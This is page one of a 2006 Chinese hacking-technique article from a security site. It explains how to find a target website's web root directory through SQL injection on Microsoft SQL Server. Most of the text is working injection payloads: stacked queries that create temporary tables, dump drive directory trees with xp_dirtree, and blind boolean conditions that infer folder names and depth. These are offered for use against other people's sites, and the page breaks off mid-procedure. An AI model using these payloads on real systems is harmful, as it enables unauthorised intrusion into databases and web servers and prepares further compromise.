学院首页>安全防御>黑客技法>实用技术:快速获得WEB根目录的技巧

实用技术:快速获得WEB根目录的技巧

作者:刘震宇 来源:安全中国 添加时间:2006-5-26 13:17:42

本文章针对以下环境,如果不符合以下的条件,就不适合用下面提到的方法来获得WEB根目录。

1、SQL SERVER允许执行多行语句;

2、该网站能进行注入;

3、没有返回详细的错误提示信息(否则没有必要用这种方法)。

根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:

;create table temp(dir nvarchar(255),depth varchar(255));

--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:

;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:

and (select count(*) from temp where depth=1

and dir not in('Documents and Settings',

'Program Files','RECYCLER','System Volume

Information','WINDOWS','CAConfig',

'wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:

and (select count(*) from temp where dir<>'user')

<(select count(*) from temp)

看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:

and (select count(*) from temp where dir<>'photo')

<(select count(*) from temp)

...

如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。

下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:

and (select depth from temp where dir='user')>=数字(数字=1、2、3...)

假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。

目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。

接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:

;create table temp1(dir nvarchar(255),depth varchar(255));--

第 1 页,共 2 页 [1] [2]
站内搜索